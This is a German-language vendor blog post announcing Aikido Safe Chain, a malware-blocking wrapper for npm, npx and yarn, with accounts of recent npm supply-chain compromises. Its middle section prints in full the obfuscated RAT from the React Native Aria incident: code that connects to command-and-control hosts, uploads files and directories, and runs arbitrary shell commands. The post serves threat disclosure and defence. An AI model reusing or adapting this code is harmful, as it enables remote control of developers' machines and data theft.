Aikido

Wir stellen Safe Chain vor: Bösartige npm-Pakete stoppen, bevor sie Ihr Projekt zerstören

Verfasst von
Mackenzie Jackson

TLDR:
Wir haben gerade Aikido Safe-Chain, einen sicheren Wrapper für npm, npx und yarn, gelauncht, der sich in Ihren aktuellen Workflow integriert und jedes Paket auf Malware prüft vor der Installation. Er schützt Sie in Echtzeit vor Dependency Confusion, Backdoors, Typosquats und anderen Supply-Chain-Bedrohungen, ohne Ihren Workflow zu verändern.



npm install ist im Grunde das russische Roulette der modernen Entwicklung. Ein falsches Paket, ein heimtückischer Tippfehler, und plötzlich haben Sie einer nordkoreanischen APT-Gruppe die Schlüssel zu Ihrer Produktionsumgebung übergeben. Macht Spaß, oder?

Aber Nationalstaaten, Cyberkriminelle und betrügerische Maintainer haben alle eines herausgefunden: Der einfachste Weg, moderne Software zu kompromittieren, führt direkt über die Entwickelnden. Und welcher Weg wäre besser, als Malware in die Open-Source-Pakete zu schleusen, die wir täglich blind installieren?

Deshalb haben wir Aikido Safe Chain entwickelt, einen Wrapper für npm, npx und sogar yarn, der wie ein Türsteher für Ihre Abhängigkeiten fungiert. Er prüft Pakete auf bekannte Malware, bevor sie in Ihr Projekt installiert werden, ohne dass Sie Ihren Workflow ändern müssen.

Doch bevor wir darauf eingehen, wie Safe-Chain Ihre Entwicklungsmaschine davor bewahrt, zu einem Krypto-Mining-Botnetz zu werden, sprechen wir darüber, warum dieses Problem überhaupt existiert.

Warum sind NPM-Pakete ein so attraktives Ziel?

Hier ist die brutale Wahrheit: Sie wissen nicht wirklich, was sich noch in Ihrer App befindet.

Etwa 70-90 % jeder modernen Software besteht laut der Linux Foundation aus Open-Source-Code. Sie haben ihn nicht geschrieben. Sie haben ihn nicht geprüft. Und das Entscheidende ist: Das meiste davon wurde nicht einmal direkt von Ihnen installiert. Es kam über transitive Abhängigkeiten herein, ein schicker Begriff für „ein zufälliges Paket, fünf Ebenen tief, beschloss, seinen gesamten Stammbaum mitzubringen.

Eine einzige npm install kann Dutzende, manchmal Hunderte von Paketen nach sich ziehen, wobei jedes potenziell beliebigen Code dank Install-Hooks ausführen kann.

Wenn ein Angreifer seine Malware in nur eines dieser Pakete einschleusen kann, sei es durch Hijacking eines Maintainer-Kontos, durch Dependency Confusion oder durch Veröffentlichung einer Version mit Tippfehler, können Tausende von Projekten auf einmal betroffen sein

Keine leeren Worte: Reale Angriffe, die wir aufgedeckt haben

Seit Anfang 2025 hat das Sicherheitsteam von Aikido eine Reihe bösartiger Pakete aufgedeckt, darunter allein im Juni über 6.000. Hier sind einige unserer Funde. 

Die offizielle XRP Backdoor 

Im April kompromittierten Angreifer das offizielle xrpl npm-Paket, das zur Interaktion mit der XRP-Blockchain verwendet wird. Sie schleusten neue Versionen ein, die heimlich Wallet Secrets an einen Remote-Server exfiltrierten, sobald ein Wallet-Objekt erstellt wurde.

Hätte diese Hintertür von Krypto-Börsen installiert werden können, hätte sie die größten Krypto-Diebstähle der Geschichte ermöglichen können. Das Team von Aikido bemerkte die manipulierten Paketversionen innerhalb von 45 Minuten nach ihrer Veröffentlichung und alarmierte das XRP-Team. 

Die rand-user-agent RAT Party

Einige Wochen später platzierten Angreifer einen Remote Access Trojan (RAT) in das rand-user-agent-Paket, ein scheinbar unscheinbares Dienstprogramm zum Generieren gefälschter Browser-Strings. Nach der Installation erzeugte die Malware eine Hintertür, stellte eine Verbindung zu einem Command-and-Control-Server her und wartete wie ein gehorsamer Schläferagent auf Befehle.

Dies umfasste obfuskierte Payloads, einen PATH-Hijack für Windows und clevere Tricks, um zusätzliche Module in geheimen Verzeichnissen zu installieren.

Angreifer nutzten Leerzeichen, um bösartigen Code außerhalb des Bildschirms zu verstecken

Siebzehn Bibliotheken, ein Nation-State-Angriff

Im Juni kam es zu einem umfassenden Angriff auf das React Native Aria-Ökosystem: 17 Front-End-Bibliotheken wurden über ein kompromittiertes GlueStack-Maintainer-Token gekapert. Insgesamt verzeichneten die Pakete über eine Million wöchentliche Downloads, was einen absolut katastrophalen Einfluss auf das React Native-Ökosystem hätte haben können. 

Eine obfuskierte Hintertür wurde als RAT eingeschleust, die dem Angreifer vollen Zugriff auf die Infrastruktur ermöglichte, auf der sie lief, einschließlich der Möglichkeit, weitere Malware remote bereitzustellen.

global._V = '8-npm13';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c("child_process");
    const j = c("crypto");
    const k = f.platform();
    const l = k.startsWith('win');
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === "undefined" ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, "node_modules"));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A('axios');
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          stdio: "inherit",
          "windowsHide": true
        };
        const W = {
          stdio: "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c('axios');
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
    const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
    function L() {
      if (w) {
        return '[eval]' + m + '$' + n;
      }
      return m + '$' + n;
    }
    function M() {
      const Y = j.randomBytes(0x10);
      Y[0x6] = Y[0x6] & 0xf | 0x40;
      Y[0x8] = Y[0x8] & 0x3f | 0x80;
      const Z = Y.toString("hex");
      return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
    }
    function N() {
      const Y = {
        "reconnectionDelay": 0x1388
      };
      G = F(J, Y);
      G.on("connect", () => {
        const Z = L();
        const a0 = {
          "clientUuid": Z,
          "processId": H,
          "osType": o
        };
        G.emit('identify', "client", a0);
      });
      G.on("disconnect", () => {});
      G.on("command", S);
      G.on("exit", () => {
        if (!w) {
          process.exit();
        }
      });
    }
    async function O(Y, Z, a0, a1) {
      try {
        const a2 = new E();
        a2.append("client_id", Y);
        a2.append("path", a0);
        Z.forEach(a4 => {
          const a5 = g.basename(a4);
          a2.append(a5, h.createReadStream(a4));
        });
        const a3 = await D.post(K + "/u/f", a2, {
          'headers': a2.getHeaders()
        });
        if (a3.status === 0xc8) {
          G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
        } else {
          G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
        }
      } catch (a4) {
        G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
      }
    }
    async function P(Y, Z, a0, a1) {
      try {
        let a2 = 0x0;
        let a3 = 0x0;
        const a4 = Q(Z);
        for (const a5 of a4) {
          if (I[a1].stopKey) {
            G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
            return;
          }
          const a6 = g.relative(Z, a5);
          const a7 = g.join(a0, g.dirname(a6));
          try {
            await O(Y, [a5], a7, a1);
            a2++;
          } catch (a8) {
            a3++;
          }
        }
        G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
      } catch (a9) {
        G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
      }
    }
    function Q(Y) {
      let Z = [];
      const a0 = h.readdirSync(Y);
      a0.forEach(a1 => {
        const a2 = g.join(Y, a1);
        const a3 = h.statSync(a2);
        if (a3 && a3.isDirectory()) {
          Z = Z.concat(Q(a2));
        } else {
          Z.push(a2);
        }
      });
      return Z;
    }
    function R(Y) {
      const Z = Y.split(':');
      if (Z.length < 0x2) {
        const a4 = {
          "valid": false,
          "message": "Command is missing \":\" separator or parameters"
        };
        return a4;
      }
      const a0 = Z[0x1].split(',');
      if (a0.length < 0x2) {
        const a5 = {
          "valid": false,
          "message": "Filename or destination is missing"
        };
        return a5;
      }
      const a1 = a0[0x0].trim();
      const a2 = a0[0x1].trim();
      if (!a1 || !a2) {
        const a6 = {
          "valid": false,
          "message": "Filename or destination is empty"
        };
        return a6;
      }
      const a3 = {
        "valid": true,
        filename: a1,
        destination: a2
      };
      return a3;
    }
    function S(Y, Z) {
      if (!Z) {
        const a1 = {
          "valid": false,
          "message": "User UUID not provided in the command."
        };
        return a1;
      }
      if (!I[Z]) {
        const a2 = {
          "currentDirectory": x,
          commandQueue: [],
          "stopKey": false
        };
        I[Z] = a2;
      }
      const a0 = I[Z];
      a0.commandQueue.push(Y);
      T(Z);
    }
    async function T(Y) {
      let Z = I[Y];
      while (Z.commandQueue.length > 0x0) {
        const a0 = Z.commandQueue.shift();
        let a1 = '';
        if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
          const a2 = a0.slice(0x2).trim();
          try {
            process.chdir(Z.currentDirectory);
            process.chdir(a2 || '.');
            Z.currentDirectory = process.cwd();
          } catch (a3) {
            a1 = "Error: " + a3.message;
          }
        } else {
          if (a0 === 'ss_info') {
            a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
          } else {
            if (a0 === "ss_ip") {
              a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
            } else {
              if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
                const a4 = R(a0);
                if (!a4.valid) {
                  a1 = "Invalid command format: " + a4.message + "\n";
                  G.emit('response', a1, Y);
                  continue;
                }
                const {
                  filename: a5,
                  destination: a6
                } = a4;
                Z.stopKey = false;
                a1 = " >> starting upload\n";
                if (a0.startsWith("ss_upf")) {
                  O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
                } else if (a0.startsWith("ss_upd")) {
                  P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
                }
              } else {
                if (a0.startsWith("ss_dir")) {
                  process.chdir(x);
                  Z.currentDirectory = process.cwd();
                } else {
                  if (a0.startsWith('ss_fcd')) {
                    const a7 = a0.split(':');
                    if (a7.length < 0x2) {
                      a1 = "Command is missing \":\" separator or parameters";
                    } else {
                      const a8 = a7[0x1];
                      process.chdir(a8);
                      Z.currentDirectory = process.cwd();
                    }
                  } else {
                    if (a0.startsWith("ss_stop")) {
                      Z.stopKey = true;
                    } else {
                      try {
                        const a9 = {
                          "cwd": Z.currentDirectory,
                          windowsHide: true
                        };
                        if (l) {
                          try {
                            const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
                            const ac = {
                              ...process.env
                            };
                            ac.PATH = ab + ';' + process.env.PATH;
                            a9.env = ac;
                          } catch (ad) {}
                        }
                        if (a0[0x0] === '*') {
                          a9.detached = true;
                          a9.stdio = "ignore";
                          const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
                          const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
                          i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
                        } else {
                          i.exec(a0, a9, (ag, ah, ai) => {
                            let aj = "\n";
                            if (ag) {
                              aj += "Error executing command: " + ag.message;
                            }
                            if (ai) {
                              aj += "Stderr: " + ai;
                            }
                            aj += ah;
                            aj += Z.currentDirectory + "> ";
                            G.emit("response", aj, Y);
                          });
                        }
                      } catch (ag) {
                        a1 = "Error executing command: " + ag.message;
                      }
                    }
                  }
                }
              }
            }
          }
        }
        a1 += Z.currentDirectory + "> ";
        G.emit("response", a1, Y);
      }
    }
    function U() {
      H = M();
      N(H);
    }
    U();
  } catch (Y) {}
})();

Unsichtbare Exploits, Obfuskation und Leerzeichen

Man könnte meinen, dass das Erkennen von Malware einfach genug wäre, indem man auf Remote-IPs, seltsame Installationsskripte oder stark obfuskierten Code achtet. Während einige Malware leichter zu erkennen ist als andere, selbst wenn man eine vollständige Code-Überprüfung aller Abhängigkeiten durchführen würde (viel Glück dabei). Manche Malware ist so raffiniert, dass sie durch alle Maschen schlüpfen würde. Zum Beispiel nutzte der os-info-checker-es6 unsichtbare Unicode-Zeichen, die in einem normalen Code-Editor nicht sichtbar sind, um seine Malware zu verbreiten. Oder Malware, die in Bildern wie ***** geliefert wird, oder vielleicht am humorvollsten, Malware, die durch Leerzeichen versteckt wird (eine dumme, aber überraschend effektive Obfuskationsmethode) wie react-html2pdf.js 

Unsichtbare Unicode-PUAs, nicht sichtbar in Code-Editoren oder in der NPM-Code-Ansicht

Warum Safe-Chain das Tool ist, das Sie jetzt brauchen

Wir alle lieben Open Source. Aber moderne Sicherheitstools? Nicht so sehr. Sie sind oft klobig, aufdringlich und geben einem das Gefühl, ein Kampfflugzeug fliegen lernen zu müssen. 

Demo
Safe Chain in Aktion

Sie erhalten die gleiche Entwickelnden-Erfahrung, nur mit einer Kevlar-Weste darunter.

Warum Safe Chain andere Tools in den Schatten stellt

Tools wie npm audit und npq müssen nicht nur als zusätzliche Schritte ausgeführt werden, sondern verlassen sich auch auf öffentliche CVEs oder grundlegende Heuristiken. Sie sind gut für bekannte Probleme, aber sie übersehen die Zero-Days, und die Zeitspanne zwischen dem Auftauchen eines bösartigen Pakets und seiner Meldung beträgt etwa 10 Tage. Genug Zeit für Bedrohungsakteure, sich tief in Ihre Infrastruktur einzunisten. 

Safe-Chain wird von Aikido Intel angetrieben, unserer Threat-Pipeline, die etwa 200 bösartige Pakete pro Tag erkennt, bevor sie in Schwachstellendatenbanken auftauchen.

Und im Gegensatz zu anderen Tools, die Bedrohungen nachträglich erkennen, stoppt Safe-Chain sie vor der Installation. Nichts geht kaputt, außer den Träumen des potenziellen Angreifers.

Abschließende Gedanken: Nicht hoffen. Verifizieren.

Das npm-Ökosystem ist ein modernes Wunderwerk, eine Kathedrale der Zusammenarbeit, Geschwindigkeit und… Malware. Wir können die Open-Source-Welt nicht über Nacht ändern, aber wir können Ihnen die Tools an die Hand geben, um sich sicher darin zu bewegen.

Hoffnung ist keine Sicherheitsstrategie.

Mit Safe-Chain raten Sie nicht. Sie verifizieren. Jede npm-Installation wird in Echtzeit gescannt. Keine Hintertüren. Kein Krypto-Diebstahl. Keine überraschenden RATs, die auf Ihrem Laptop ihr Unwesen treiben.

Installieren Sie Safe Chain noch heute

Die Installation der Aikido Safe Chain ist einfach. Sie benötigen nur 3 einfache Schritte:

Installieren Sie das Aikido Safe Chain Paket global mit npm:
npm install -g @aikidosec/safe-chain

Richten Sie die Shell-Integration ein, indem Sie ausführen:
safe-chain setup

❗Starten Sie Ihr Terminal neu, um die Aikido Safe Chain zu nutzen.

  • Dieser Schritt ist entscheidend, da er sicherstellt, dass die Shell-Aliase für npm, npx und yarn korrekt geladen werden. Wenn Sie Ihr Terminal nicht neu starten, sind die Aliase nicht verfügbar.

Verifizieren Sie die Installation, indem Sie ausführen:
npm install safe-chain-test

  • Die Ausgabe sollte zeigen, dass Aikido Safe Chain die Installation dieses Pakets blockiert, da es als Malware gekennzeichnet ist. (Die Installation dieses Pakets birgt keine Risiken)

Teilen:

https://www.aikido.dev/blog/introducing-safe-chain

Abonnieren Sie Bedrohungs-News.

Starten Sie noch heute, kostenlos.

Kostenlos starten
Ohne Kreditkarte

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.